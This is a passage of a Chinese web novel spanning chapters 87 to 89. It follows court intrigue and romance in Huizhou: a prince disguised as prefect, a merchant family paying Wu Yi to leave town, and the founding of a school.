这边钱宁不知道钱万全故意支开自己,更不知道钱朵因为周知府的事情记恨吴怡,竟将吴怡留在徽州独自上路。钱朵已经探着了父母的口风,吴怡是不可能留在钱家的,下边就得让周大人也知道吴怡是个坏人才行,她想起娉婷对吴怡的厌恶,想找娉婷打听一下情况,才知道娉婷居然离开了徽州。正在烦闷,王夫人走进了房间。 “朵朵。” “娘?您怎么来了?” “朵朵啊。”王夫人拉着女儿坐下,“朵朵,前些阵子你不是说喜欢周知府?” 朵朵一愣,不知道王夫人想说什么。 “朵朵,之前我和你爹不同意你和周大人,那是为了你的安全,如今余年倒台了,我们钱家也清白了,若是你还是喜欢……” 钱朵觉得心头一酸,眼眶都红了,“娘,您说的是真的吗?” “我想先看看你的意思 ,若是你还是喜欢,我和你爹怎么会反对呢,我们……” “娘。”朵朵一把抱住王夫人,“可是周大人不喜欢我。” “怎么会呢?我们朵朵温柔善良,是最好不过的了。朵朵啊,我的好朵朵,我去知府衙门探探口风,回来再和你说好不好?”王夫人扶着钱朵坐好,她觉得钱朵肯定是小女儿娇羞,不好意思了。 钱朵抽泣起来,“娘,我问过了,周大人说发乎情,止乎礼方为上策。” “这话没错呀,这是古人说的,怎么能是周大人拒绝你了呢?” “可是,可是他说儿女之事,父母之命媒妁之言,还说你们一定会给我找个好人家。” “哎呦我的傻闺女,这话也没错啊,周大人说的都是正理,一点错都没有。朵朵别哭啊,现在,我就去知府衙门探口风,你等会啊。”说着,王夫人整理妆容,乘着马车往知府衙门而去。 知府衙门中,张灵与周启正坐在院中喝茶。 “张小姐知道晋中张家吗?” “知道。”张灵倒是十分淡定。 “看来,我长得像坏人。” “倒也不是,只是不像什么好人。” “哈哈哈哈。” “大人怎么知道我的身份?” “李博告诉我的,他说昨天那顿有点贵,说我都榜上富婆了,让我给他。” “哈哈哈哈,李大人还真是风趣。周大人,我听到一些传言,是,是关于你和李大人的。” 周启放下茶杯,身子向前倾小声说道,“李大人是我的上峰,他非要这样,我这个下官也没办法。” 张灵端起茶杯斜眼看见李博正双手交叉覆于胸前,十分不快地看着自己,张灵另一只手一把拉住周启,“周大人,不如我们逗逗他。” 周启疑惑地看着张灵,之间她缓缓起来,从桌子前转了一个圈来到自己身边,张灵站着,周启坐着,张灵将双手搭在周启的肩膀上。“怎么样,还在看着咱们吗?”周启偷瞄一眼李博,见他很快就要窜出来了,“再近点。” 张灵也不含糊,俯下身子,两人脸对着脸,张灵甚至双臂环着周启,两人的举动已经十分亲密,而这一切正被走进来的王夫人看在眼里。王夫人也是过来人,她一看张灵的眼神就知道张灵已经深陷其中,而这是始料未及的情况。王夫人想起钱朵的话,怪不得周启竟会当着女孩子的面拒绝,可是就是不知道为什么张灵与周大人突然在一起了,王夫人一句话也没有问便转头回去。 王夫人不说什么便可回去,李博却不能不管。“哎哎哎,干嘛呢?” 张灵正与周启对视,被李博这么一搅合赶紧松手,甚至有点羞赧地撩了一下头发。 “我问你干嘛呢?” “我?说话呢 。” “说话好好说,站直了说,知道吗?” 张灵不再搭理李博,也不害羞了,大大方方又走到周启对面坐好喝茶。李博看了两人一眼,他明白这位大小姐比前面两位都厉害,一屁股坐在了两人中间的石凳上。“现在说吧。” “说什么?” “嘿,张小姐真跑这喝茶来了?学堂,开办学堂的事。” “哦。”张灵稍微端正身体,“钱伯伯已经答应了,他说学堂的钱他们钱家全出了,但是这学堂的名字得能体现他们钱记才行。” “那可不行!” “李大人,钱家是商贾,出资必然要体现他们的名字才行啊。” “那可不行,这学堂要是叫钱记学堂,那你叫他们钱家自己办去。” 张灵没想到李博能如此激动,她觉得这是天经地义的事情,张灵看了一眼李博,又看了一眼周启,“这,这有什么问题吗?” 周启喝了一口茶,沉思片刻,“张小姐,这的确不行。” “那,可是钱伯伯只有这一个条件。” “要不这样,学堂里边可以写上他出资,我以前也见过,在学堂一进门的影壁墙后边写上一片文章,写清楚建立学堂的经过,而且一定会写清楚是钱记出资,这样你觉得怎么样?” “这样也可以啊。” “等会等会,张小姐你说的可不算,你得问人家钱万全。” “放心吧,他要是不同意,我们张家出。” “呦,你们张家还真是财大气粗啊。” 张灵觉得事情已经算是商量好了,打算再逗逗李博,“刚才周大人说了,这影壁墙后边会写上一篇文章,到时候若是我们张家出资,我张灵的名字可就和周大人的名字放在一起了,那我还不得积极一点嘛。” “嘿。”李博一激动站了起来,“你你你,我,我告诉你啊……” “李博!”周启不想李博在这丢人现眼了。李博被周启一喊,瞬间冷静下来,赶紧坐下。“我昨天找了邓先生,他已经答应来学堂教书。” “那太好了,能有这样的名师,学堂肯定能很好的,这样我也能跟钱伯伯谈条件了。” 这边商量着开办学堂,那边钱万全已经从王夫人口中知道了张灵与周启的事情。 “这怎么可能呢?张灵和周大人怎么认识的?” “老爷,你今天是没看见张灵看周大人的眼神。要说这周大人还真是有女人缘,别说咱们朵朵,就是张灵,多有主意的一个孩子啊,这没两天就被周大人拿住了。” 钱万全只见过周启两面,可就是这两面,钱万全对周启的印象也是十分不错,若是都是商贾,怎么着也得交个朋友才行。 “老爷老爷?” “哦,既然我们朵朵与周大人没有缘分 ,那我们也不是非得要与官家结亲。” “唉,要知道今天不问朵朵的意思了,我看那孩子还是喜欢周大人,还没有死心呢。” “你问她了?你干嘛不先去知府衙门探探口风再问朵朵呢?你,你说你着什么急呢?” “哎呀,我这也是想着这不是一个好事吗?谁知道这样了啊。哦,对了,那钱宁怎么办啊?” “钱宁?” “啧,这朵朵要是和周大人,钱宁和张灵,多好的事啊,现在倒好,好的咱们一个没落着。钱宁也是不让人省心,非得喜欢那个吴怡。” 钱万全也很郁闷,“怪不得昨天张灵来问我要不要出资办个学堂,说是周大人想办的。” 一听这话王夫人急了,她觉得张灵背叛了钱宁,“张灵是什么意思?她喜欢周大人,却让你出资去讨好周大人啊?” “哎不是,我想张灵也是好心,不至于为了讨好周大人才这样。” “老爷,这钱我们钱家不能出。” “夫人?” “老爷,张灵可是我们打小看着长大的,我们还以为两家能结个亲,她想做什么我们钱家当然会支持她。可是现在,先是周知府伤了朵朵的心,张灵又离钱宁而去了,我们当然不可能再像以前一样支持她了。” 钱万全苦笑两声,“夫人呐,这两个孩子的事情,我们大人觉得好,可是如今两个孩子没有缘分,怎么能怪张灵呢?况且若是钱宁也是喜欢张灵,你说是张灵有问题也就算了了,可是现在钱宁与张灵根本就是八字没有一撇,怎么能怪人家孩子呢?“ “老爷!” “好了好了,夫人,你的意思我明白了,学堂的事情我会再考虑考虑的。” (本章完) 第八十七章 张灵知道了 - 风吹繁花散落时 - 红酒羊排 张灵走后,李博十分紧张。“我说你不会又整个烂桃花回来吧?” “你怎么比我母后管得还多。” “您还知道您在京城的身份就成,我说我的五皇子呀,咱们可不能这么闹下去了。这都第三个了。” “什么第三个?” “好好好,甭管第几个。这丫头,您得离她远点,她比前两个都厉害。” 周启认真在书架子上调书,对张灵,他有一种从来没有过的感觉,好像就是在看自己一样,那样通透又聊得来。 “李博,我一个皇子,她一个商家大小姐,我没觉得我们有什么问题啊?” “那人家钱朵也是商家大小姐,你怎么把人家拒绝了?” 周启瞪了李博一眼,李博继续说道,“说到底,你的婚事只能是皇上说了算,你呀,说了不算。” 周启拿着书坐在椅子上,又问道,“那你说,张灵有什么不好的嘛?” “没什么不好。” “那就是很好喽?” “那也不是很好。” “你什么意思?” “你要是徽州知府,你们两个就是天造地设,可是你不是啊。” “我是啊。” “那你也不可能一辈子都是,顶多一年半载,然后咱们可就回去了,你可别耽误人家姑娘一辈子,人家这么好一姑娘。” 听了这话,周启算是吃瘪了,他的确不是什么徽州知府,张灵对于他来说也就是一颗耀眼的流星,很快就会消失不见了。 周启想起娉婷离开的情景,突然心生悲凉,生在帝王家的悲哀都是一样的,人生半点也不由自己做主。 如今要自己做主的只有吴怡,她的两天之期马上就要到了。 钱宁走后,吴怡被少东家相中的热闹也暂时告一段落。那些小厮们上赶着巴结也知道有个限度,毕竟如今钱万全还没有点头答应,谁都担心事有变故,太过殷勤会被秋后算账。 吴怡终于得了空闲,可以好好整理一下自己的思绪。 在吴怡心中,坑蒙拐骗的日子早就过去了,如今的她不过想好好做工,攒够了钱,置办一个小院,和李老四安然度日。 但是当钱家少奶奶的事情,吴怡心里总觉得有些怪怪的,只是她十分说不出来到底哪里怪。若是钱宁哪里不好,吴怡实在想不出,但是嫁给吴怡,总让吴怡心里觉得空落落的,没有那么期待。 吴怡当然不会要钱万全的一万两银子,毕竟这里是钱宁的家,大家对她也是好的不能再好了,她不能做忘恩负义之人。 “吴怡。” “小姐。” 钱朵款款走进吴怡的房间,王夫人已经明确告诉钱朵:周大人已有婚配。这原本是父母的好心,但是在钱朵听来,这婚配对象就是吴怡,而她已经两次受辱,这样的事实让钱朵无论如何也无法接受。 钱朵脸上带笑,缓缓发问,“吴怡,我爹娘说叫我来问问你,你为什么勾引周大人?” “啊?我没有啊!” “没有?那周大人为什么喜欢你?” 吴怡真是丈二和尚摸不着头脑,“周大人怎么会喜欢我呢?小姐,你肯定是误会了。” “误会?我误会?”钱朵收敛了笑容,“吴怡,你觉得很好玩是吧?周大人和我哥哥都喜欢你,你觉得你很厉害吧?当初娉婷姐姐就说你最坏,我现在倒是看出来了!你就是想飞上枝头变凤凰是不是?你就是脚踩两条船,一心想要往上爬是不是?” “小姐,我没有!” “没有?那我告诉你,只要我钱朵在,你就休想踏进我钱家的大门!”钱朵迈步到了一旁,背对着吴怡说道,“奶奶已经知道你的阴谋了,奶奶说再也不想看见你,让你赶紧离开!” “啊?别啊!”吴怡一下子着急了,一个箭步 步来到钱朵身边,“小姐,我真的不是要骗钱宁的,我,我和钱宁我们两个……” “吴怡!我哥哥是钱家少东家不假,可是钱家是我爹说了算,我奶奶的话在钱家就是圣旨,你赶紧走吧!”说完,钱朵一挥手,“来人,把她轰出去。” 应声进来四个小厮,两个架着吴怡,两个在后边跟着。 “哎,我东西,我东西还在这呢。”小厮们只听主人命令,架起吴怡就走。“哎,我,老爷和夫人今天还找我有事呢。你们,你们松手!”小厮们一听老爷和夫人的名头,自然有所犹豫,看着钱朵等她拿主意。正在这时,钱万全的小厮来找吴怡,钱朵心生疑窦,与吴怡一起来到花厅。 “吴怡,你可想好了?” 吴怡斩钉截铁地说道:“我不要你的钱。” 钱万全似乎并不惊讶,“那你自己开个价吧。” “我不是嫌少,我是真不要。” 钱万全上下打量吴怡,“我听说你父亲病了,每月要吃人参吊命,我问过了,大夫说,要连续吃上三年才行。你知道一颗人参多少钱吗?你又知道知府大人一年的俸禄是多少吗? 这俗话说得好呀,久病床前无孝子,何况那周知府与你爹,一点情谊都没有,他能做到这个份上,已经是很仁义了,他若是哪天断了你爹的人参,也不会有人说什么。 倒是你,你和你爹相依为命,你就这么眼睁睁瞧着他就这么痛苦而死?” 吴怡双手抓着衣角,周启曾经数次翻脸不认人,这可是吴怡亲身领教过的。 “吴怡,我钱万全是一个生意人,这么多年摸爬滚打,我只悟出了一个道理,谁有都不如自己有,靠谁都不如靠自己。 周知府是个好官,但是他寒窗苦读十几载,不是为了给你养父亲的,他首先考虑的一定是他的官位……” “不是的,周大人说过,为了徽州百姓,他不怕承担骂名,所以周大人,首先考虑的是一城百姓。” 钱万全楞了一下,他没想到吴怡能说出这样的话来,但是钱万全马上又说道:“只有保住了他的官位,他才能更好地保护徽州百姓。这和我们做生意是一样的,我只有保住我的族长之位,才能更好地发展钱记,让钱家的伙计们都能过上好日子。吴怡,你知道我当年为了当上钱家的话事人,做过什么吗?你又知道我为了钱记能成为大周第一家,都做过什么吗?” 钱万全的眼神狠厉起来,吴怡觉得脊背发凉,她太知道那些地主老爷们的狠了。 钱万全站了起来,缓缓走到吴怡身边,“吴怡呀,我之所以站在这里与你说了这么多,是因为钱宁在乎你,而我在乎钱宁。钱宁是我钱家的希望,为了钱宁,为了钱记,我什么事情都干的出来。” 钱万全发完狠话,突然又笑了起来,“当然了,我早说了我是一个生意人,在生意场上,能大家一起赚钱的时候绝不会互结冤仇,如今我们就可以互相得力,只是这次的选择权在你手上,我真希望,你能好好选择。” “我要一万两银子!” “没问题。” 钱万全完全不给吴怡多余的思考时间,招来官家,“吴怡,这两边有五张一千两的,剩下都是一百两的,方便你通兑,你收下吧,请你离开徽州。” “离开徽州?” “怎么?我们前天不是说好了吗?你?” “可是我爹还在知府衙门呢,我,我不能离开徽州。” “吴怡,有了这一万两银子,你可以带你爹去任何地方,要是你觉得不方便,我可以叫商队带你们一程。哦对了,我还可以给你你爹未来两年需要的人参,你放心,都是关东运来的,绝不必知府衙门的差。” 钱万全见吴怡眉头紧锁,似天人交战。 “吴怡,你不要贪得无厌!”钱朵在一旁早就怒发冲冠,她见吴怡还在犹豫,以为吴怡还想要更多。 “朵朵!” 王夫人知道钱朵现在对吴怡有意见,可是吴怡马上就要离开徽州了,没必要这个时候这样。“吴怡,这原本是说好的事情,你不会是还有什么别的要求吧?不如你说说,只要能满足你的,我们钱家一定竭力满足你。” “哦,不是,没有了。可是我开始真的不是为了钱。” 王夫人慢慢走到吴怡身边,“吴怡,我知道你是个好孩子,是我们钱家与你无缘。”说着,从管家手中将银票塞到吴怡手中,“这是你应得的,你拿着吧,以后你和你爹要好好生活才是。” 吴怡心里还是奇奇怪怪的,她突然觉得周启说她笨不是全然没有道理的。 “好了,吴怡,今天你便走吧,天高海阔的,你想去哪都成。”吴怡刚想再说几句,张灵求见。“吴怡,那我们就不留你了,你看?” 吴怡糊里糊涂拿着银票离开了,张灵在门口看见吴怡也没有在意。 “钱伯伯,昨天我说建学堂的事情,周大人说可以在学堂内的影壁上写一篇文章,着重强调是钱家出资,所以我来跟你商量商量,看看成不成?” “张灵啊,你觉得这样可以吗?” “钱伯伯,我觉得这出资建学堂是好事,况且钱家的出资也不是完全没有体现,是双赢的。” “这么说你答应周大人了?” “钱伯伯是觉得有什么问题吗?” “张灵啊,我昨天说的很清楚,学堂的名字要体现我们钱记这出资就没有问题,可是现在……” 张灵没想到钱万全会否决这个提议,“钱伯伯……” 王夫人在旁边问道:“张灵啊,你和周大人是?” 张灵并不知道王夫人看见了她和周启在一起的画面,“周大人?周大人怎么了?” “我就是很好奇,你和周大人怎么认识的?他想建学堂怎么第一个找的你呢?” “哦,我们也是在路上碰见的,他说想办学堂,我想着这是好事啊。我就在想若是钱记能够出资,这不是宣传自己的好机会嘛,所以我就跟周大人说了。况且周大人请了他的老师邓敬之来当先生,这学堂一定会人才辈出的,钱伯伯,伯母,这对于钱记来说很有可能是近水楼台先得月的好机会啊。” “邓敬之?” “是啊,邓先生已经答应了。” 钱万全觉得实在不可思议,他之前也想请邓敬之来家里教书,可是人家根本不来,如今怎么会甘愿到一个还没有成立的学堂来当先生呢?“邓敬之曾是帝师,后来为皇子们授课,如今告老还乡的确是在徽州城内,可是这邓先生怎么可能来学堂当先生呢?张灵,这不太可能吧?” 张灵觉得钱万全有点松动,便赶紧解释道:“是周大人亲口说的。邓先生以前是周大人的先生,我想肯定是为了支持自己的学生才勉强答应的吧。” “周大人的先生?那怎么可能呢?他以前明明是皇子的教习先生,何时做过周大人的先生?” “钱伯伯是真的,这周大人本来就是京城人士,他亲口说邓敬之是他的先生,说是赚外快。” “你别胡说了,这邓先生曾经是帝师,就是他自己的孩子,他都不能教,更何况是平民家的孩子了,就是这皇子,也要皇上亲自同意,他才能教的,这是朝廷的规矩。” 张灵脸上逐渐严肃起来,她想了又想,终于问出了一个关键问题,“钱伯伯,您知不知道皇子们都叫什么啊?” “叫什么?你问这个干什么?” “哦,我就是突然有点好奇,这皇子中有叫周启的吗?” “这名字可不能随便叫啊,他可是我们大周唯一的嫡皇子。” 此言一出,张灵觉得五雷轰顶一般,周启居然是嫡皇子,自己似乎知道了什么了不得的大事。 张灵想起为周启整理物品,看见他带着的手串上写着一个启字,当时她就猜测启应该是这人的名字,后来果然他说自己叫周启,可是后来在河边,他又说自己叫周开。如今钱万全的话倒是能解释周启、周开的事情了,原来周启才是本名,周开才是化名。而周启是大周唯一的嫡皇子。 “张灵?” “啊?那个,钱伯伯,既然你不愿意出资,那我可就自己出资了。” “哦,我……”钱万全也不是不愿意出资,而是想再争取一下冠名,可是张灵居然一下子要自己出资,让他始料未及。 “钱伯伯,那我现告退了。”张灵赶紧从花房出来,心里砰砰砰跳的厉害,她要去找周启问问清楚。 第八十八章 周启、吴怡离合 - 风吹繁花散落时 - 红酒羊排 吴怡从钱家出来直奔知府衙门,她若是离开徽州必须带着李老四一起才行。 “啥?离开?我说吴怡,你最近是不是脑子坏掉了,好好的知府夫人你不当你偏跟那个少东家鬼混呢,现在好了吧,被人家撵出来了,连徽州都待不下去了。” “哎呀爹,你就别说我了,咱们赶紧走吧。” “我不走,上哪去我?你没听大夫说吗,我后半辈子都得吃人参,你让我离开这知府衙门是不是就是想让我死,你好去过你的富贵日子?” “您就别胡说八道了,赶紧走吧,趁天还没黑。” “去哪啊?” 周启一走进来,吴怡真是一个头两个大,李老四倒是看见了救命稻草。“哎呀女婿啊,你可来了,这个吴怡,这个不孝女要弄死我啊。” 吴怡将包袱放在李老四腿上,“谁要害死你了?” “我告诉你啊,我不走,除了这知府衙门我哪都不去!” “你是要带你爹去钱家吗?” “去什么钱家,她啊,让人家给撵出来了。”李老四一副恨铁不成钢的样子。 “撵出来?钱宁呢?” “不关钱宁的事,他去河北了。” “河北?钱万全前脚把他支走了,后脚就把你扫地出门?这个钱宁不是做生意的吗?怎么脑子这么不好用,这点小伎俩看不出来?就把你一个人留在徽州?你是要去河北找他吗?” 吴怡摇摇头。 “不去?我说吴怡,这钱宁到底娶不娶你?” 吴怡又摇了摇头。 “不娶你?不娶你他找我要什么离合书?”周启顿时就生气了。 “不是。” “不是?那什么意思?” “我也不知道。”吴怡低着头,她是真的不知道。 “不知道?吴怡。”周启用手推了吴怡的额头,“这种事有犯糊涂的吗?” 吴怡觉得很委屈,“我真的不知道嘛。” “那你干嘛答应钱宁,你这不是耍人家呢嘛。” “我没有想耍他,我当时,我真的不知道我为什么就答应了。” “吴怡,很多事情你都可以犯糊涂,可是感情的事情你不能这样,很伤人的,知道吗?” 吴怡一直看地面点点头。 “成了,你哪也别去,就在知府衙门好好待着,钱宁回来再说,趁这段时间你好好想想。” “可是,我必须得走。” “那你也应该跟钱宁说清楚再走,你现在走了,你想没想过钱宁怎么办?就算你不喜欢他,你不应该跟人家说清楚吗?” “可是,可是我……” “可是什么呀你!”李老四在旁边也是着急。 “我,我。”吴怡看看李老四又看看周启,又看看李老四,“我,我答应人家我必须得离开徽州。” “凭什 么呀?”李老四知道肯定是钱家逼吴怡了,“是不是钱家?他们以为他们是谁啊?有钱了不起啊,再说了,咱们周大人能允许他们这么欺压百姓吗?是不是女婿?” “吴怡,是钱万全让你离开徽州的吗?” 吴怡又摇了摇头。 “那你为什么?你就这么讨厌钱宁?” “哎呀不是。”吴怡差点哭出来。 “那你到底为什么?本官在这,你有什么好害怕的?” “哎呀,我。”吴怡心一横,把实话给说了,“我收了人家一万两银子,今天必需离开徽州。” “啥,一万两?”李老四差点从椅子上掉下来。 “你!你不说你以后再也不不骗人了吗?” “我,我没想骗他呀,是他给我的。”吴怡觉得自己真是跳进黄河也洗不清,“哎不对呀,我什么时候告诉你我再也不骗人了?” 现在周启懒得理吴怡,他之前听了吴怡的真话以为她会改好,如今看来坑蒙拐骗之徒的却不可信,还是自己太傻了,周启抬腿就走。李老四已经上手翻吴怡的衣服。 “哎,你干嘛?” “钱呢?” 吴怡赶紧打开李老四的手,“我告诉你你少打主意,这是我们后半辈子的生活费,还得给你买人参呢。” “买什么人参,我女婿会给我买,我告诉你啊,这些日子,我这人参就没断过,我女婿就是好。快快快,银子拿来瞧瞧。” “瞧什么瞧?” 父女俩正说着,进来两个侍卫,“李老四,吴怡,我们大人说了,请你们赶紧离开。” “啊?我女婿要把我扫地出门?哎呀,吴怡,你看看你,你自己走就走吧,你干嘛连累我呀?” “爹,人家都让咱们走了,你赶紧跟我走吧。”说着,吴怡来扶李老四,李老四却死活不起来,别说现在他就一条好腿,就算是全身全尾的,他也不可能离开知府衙门,更不可能离开徽州。“吴怡,你赶紧,赶紧给我女婿道歉去,你说你错了,你把以为还给那个钱老板,还有啊,你是周大人的夫人知不知道?我告诉你,我哪也不去!死都不走!” “李老四!”吴怡也急了,“人家让咱们赶紧走,你没听见啊?你赶紧给我撒手,我们走了!要不天黑了,城都出去了。” “出不去正好,我就是不走。女婿,女婿,吴怡她知道错了,女婿!”李老四这么大喊大叫,何平作为侍卫首领肯不能任由他这么胡闹,他吩咐侍卫一边一个,抬起李老四的椅子就往外走。“哎哎哎,你们这帮人,给我放下,我可是你们大人的岳父,哎,我说你听见没?” 此时门外,张灵从钱家出来,直奔知府衙门而来,可是来到了门口,张灵却犹豫了,原本已经迈上台阶 的腿已经僵住。她想起今天与周启的深情对望,觉得一切都如此的不真实,张灵正犹豫,李老四和吴怡被轰了出来,侍卫们将李老四连同椅子一起放在了门口,头也不回地走了。 “吴怡,吴怡,你赶紧进去,你赶紧认错去啊。” “认什么错?咱就赶紧走吧!”说着吴怡又来扶李老四,李老四还是抓着椅子一动不动。 “吴怡?” “啊?”吴怡原本和李老四较劲,没有看见张灵,现在好不容易看见了,“张小姐?” “你们干嘛呢?” “我们,我们要离开,要出城呢。” “谁要离开了,我告诉你我死也不会走的。” “人家都把咱们轰出来了,您还想怎么样?”吴怡吼了李老四一嗓子,李老四委屈巴巴开始哭泣,“唉,养大的女儿也会吼自己亲爹了,好好的女婿也不要我了,居然把我给轰出来了,我李老四活到这份上还有什么脸面?不如死了算了。唉。”说着,李老四啜泣起来。 “女婿?什么女婿?” “那周知府就是我女婿,就是他不承认也不行,这过往神明都看着呢,不容他抵赖。” “成成成,你等会!”说着吴怡又去敲门,“你等会啊,我现在就要一个离合书去,我看你再说他是你女婿!” “哎哎哎,吴怡,你最近是不是脑子坏了?”说着,李老四终于单着腿从椅子上蹦了起来。 “你不装残疾了?你也能起来了?” “我,我装什么了?你爹我现在就一条腿中用了,我不用装我也是残疾,你就不能歧视我,不能不管我!” “谁说我不管你了,我当然管你了,你要什么我都答应,好不好?” “我想要我女婿!” 吴怡差点气蒙了,“没有!”说着又开始敲门,“周大人,你赶紧给我一封离合书啊,周大人!” 张灵在后边听着,越来越疑惑,听着周大人似乎和吴怡成过亲,可是现在居然把人给轰出来了,张灵觉得这不像周启会做出来的事情。“吴怡,吴怡。” “张小姐你等会。”吴怡仍旧使劲拍门,“周大人,周大人给我一个离合书啊,周大人!” “吴怡!”张灵见她这样也不会有人出来的,况且天已经越来越黑了,“要不你先去我那住一晚吧,明天早上你再来要吧。” “你,你是谁啊?” “我?我是张灵。” “张灵?张灵谁啊?” “晋中张家,张灵是也。” “晋中张家?哎呦,那是有钱人家啊。成,今晚上就去你家了,这位大小姐,你正好帮我说说这个死丫头。” 就这么两个人三条腿架着吴怡来到了张灵的小院,张灵也终于明白了吴怡与周启是怎么成亲的,第二天张 灵来到知府衙门找周启沟通。 “吴怡让你来的?” “那倒也不是,她一会才来呢,我自己来的。” “你来干嘛?” “我想问问你为什么把他们给轰出去了,我觉得这不像你的作风。” “吴怡没有告诉你吗?” “我看她好像有难言之隐。” “美女,吴怡没来徽州之前就是坑蒙拐骗,我以为她以前是生活所迫,现在想好好生活了,我才没有揭穿她。可是她呢,还是坑蒙拐骗,你知道她为什么不敢告诉你为什么我把他们轰出去了吗?她利用钱宁的感情,找钱万全要了一万两银子,你觉得她这个生意做得怎么样?” “一万两?吴怡吗?这我倒是不知道。” 周启长叹一口气,“算了,我看她就是烂泥扶不上墙。” “那你把离合书给她?” 周启一听离合书,心里还是觉得怪怪的,“她怎么也突然需要这个东西了?” “就是李老四,他一直说你是女婿,吴怡就想着要个离合书,这不对老人有个交到嘛。” 周启依旧有些犹豫,可是张灵向前一步,轻轻拉住了周启的胳膊,“周启,我觉得这事本来也没什么,就是给李老四一个交代,要不他一直这样闹,对吴怡也没有好处。况且吴怡马上就要离开徽州了,若是以后再找你也不容易,还不如现在就给她算了,你说呢?”周启正想着,张灵已经将纸笔都准备好了,周启默默接过笔,张灵抚摸着周启的肩膀,在她的注视下,周启洋洋洒洒写下了离合书。一炷香后,吴怡顺利拿到了离合书,准备带着李老四离开徽州,但是一出门,正撞见张海。 (本章完) 第八十九章 张海向吴怡交底 - 风吹繁花散落时 - 红酒羊排 张海哪天听吴怡说与周大人有事,还找钱家商量,越想越觉得是大生意,今天他原本打算直接上知府衙门探探口风,可是还没进门就看见吴怡仔细端详着一张纸走了出来。张海在吴怡身后跟着,想看清是什么,可是吴怡将纸叠好放进了口袋。 “张小姐?” 吴怡听这句,觉得全身汗毛都炸起来了一样,她一回头看见张海正满脸堆笑看着自己,“张,张老板。” “张小姐,上次你说周大人和你有生意要谈,有没有什么可能,就是要不带带我?” “带你?” “哈哈哈,张小姐,这周大人是官家,你是商家。你看我,我是商家,但是我也和官家……哈哈哈,张小姐是明白人,应该能明白吧。” “哦!官家,官家是吧?明白明白,那个我,我还有事先走了。”吴怡胡乱一指,想赶紧脱身。 张海可不能错过这次机会了,毕竟三皇子已经生气了,他再不弄出点动静来,他多年经营出来的地位就要荡然无存了。“哎哎哎,张小姐,张小姐。”张海拦住吴怡,“这么说吧,我呀。”张海看看周围,凑近吴怡小声说,“我的后台不比周大人低,在北边,北边你知道吧?”张海一指北边,吴怡又不知道北边是哪,但是她还是强装淡定,“哦,北边啊,知道知道,那挺厉害呀!” “嘿嘿,主子厉害,我们这些跑腿的就轻松点。哎,不过张小姐放心,这徽州之内的事我还是可以做主的,你也知道这生意嘛,大周之内,西凉、琉球、扶桑,那都是有影响力的,都没问题。” “这么厉害?” “哈哈哈,张小姐,我知道你们晋中张家近年来也想扩大生意吧?可是这钱家、陈家后来者居上了,我相信张小姐也不想区居人后吧?这要是张家有了我主子的支持,那这大周第一商家的位置……哈哈哈,张小姐,你看?” 吴怡听得天花乱坠,什么北边什么扩大生意的,说话还不说完整,都听不懂,“哈哈哈,张老板,这么厉害?” 张海的鼓动言论说得差不多了,吴怡还是一副“哇,你好厉害,可是关我什么事”的样子。张海赶紧又凑上来,“张小姐,这周大人最近这是要?” “周大人?额,他,他就是,嘿,他缺钱呗,要不找我干嘛?”吴怡最近真的不知道周启在干嘛。 “缺钱?他要干嘛呀?” “嘿,我,他,嘿,这事八字还没有一撇呢,要是有了确切的消息我告诉你啊。” “那太好了,张小姐,生意嘛,咱们大家一起做,我虽然没什么本事,可是我家主人可是通天的人物,一般事都不在话下。” “通天的本领?你家主人是皇上啊?” 吴怡哪认识什么大人 物,她眼里有通天本领的只有皇帝老子,所以也就随口一说,可是张海觉得她终于说到点子上了,“差不多,差不多。” “差不多?皇上的儿子啊?” “嘘!”张海心满意足,“张小姐,常联系啊。”说完,张海就走了。 吴怡震惊了,“皇子?这徽州还真是藏龙卧虎,那我还真不能走。”吴怡向前走了两步,“可是我要是不走,那这一万两银子是不是得还给人家?哎呀,一万两银子呢,哪辈子能赚到?可是我明明不是为了一万两银子才跟钱宁做朋友的,我那天就不应该答应钱宁,现在好了。我昨天怎么就选这一万两银子了呢?哎呀,烦,最近我脑子怎么不好使!” 吴怡回到张灵的小院打算带李老四离开,可是一进门,见李老四栽倒在台阶上,吴怡赶紧跑过来,“爹,爹!”吴怡见李老四面色铁青,顿时慌了,“来人啊,救命啊!”张家的下人们应声赶来,见了这情形也不敢随意挪动李老四,赶紧派人去请大夫。 此时的周启正与张灵坐在院中商量开办学堂的事情,“张小姐真的打算出资?” “在周大人怎敢玩笑?” “那就好,我请邓先生亲自做上一篇文章,一定让学生们都知道是晋中张灵慷慨解囊。” “这么说,我张灵的名字能出现在大人的政绩里喽?” “既是政绩,更为民生。”周启端起茶杯,“本官以茶代酒,多谢美女了。” 张灵浅浅一笑,偷眼看了周启,心想:幸亏昨天没有一时冲动来询问周启的真实身份,如今两人还能如此轻松自在得相处,真的算是岁月静好了吧。正想着,张家的下人来回禀李老四的事情,希望张灵拿主意。周启一听,与张灵对视一眼,都看见了彼此的震惊。“李老四怎么了?” “看着像是没有走稳,摔在了台阶上,现在还不知道怎么样呢。” “那我赶紧回去看看,周大人,我先告退了。”张灵慌忙起身,这人是在她的小院摔倒的,若是真的有个好歹实在不好交代。 “哎,你等会儿。连锁,连锁。” “大人?” “你去把之前李老四的药方子都找出来,和张小姐一起回去,要是大夫问起来,你也好回话。” 连锁慌忙将药方子找出来,又带了两棵人参,便跟着张灵一起来到张家小院。只见李老四仍旧人事不知,怎么也叫不醒,吴怡跪在床边紧张地看着大夫,大夫一筹莫展,连连摇头。吴怡终于哭了出来,“大夫,大夫你救救我爹呀,大夫。” “唉,这位姑娘不是我不救你爹,是你爹……” “大夫,大夫只要你能救我爹,你要多少钱我都给,大夫。” “姑娘,这位姑娘,你爹应该就是 摔倒导致的昏迷,具体情况还得观察观察,幸亏现在人还有气,也没有什么急症,今天你好好守着,若是有什么情况再来找我。” “大夫,你别走啊!你怎么不管我爹了?大夫我求求你别走啊。” 张灵见吴怡这样也不是办法,一边安抚吴怡,一边询问大夫。 “这位姑娘,不瞒您说,这人之前肯定是中过毒,这刚刚捡回来一条命又摔了,实在不好说。您想啊,就是正常人摔在台阶上也够呛啊。现在看没什么,谁知道有没有摔着里边啊?不过呢,今天一天很关键,要是他醒过来,又不觉得哪疼,那就是没事,万事大吉,你们也不用着急了。但是呢,要是他醒不过来,或者五脏六腑受损,这人啊,也就交代在这了,你们要做好准备。” “大夫,我带了人参,能给他喝点吗?” “人参的确补身体,吃多了也上火,他要是摔着了再吃人参恐怕难以承受。” “可是之前他中毒了,大夫说让他每天食用人参保命。” 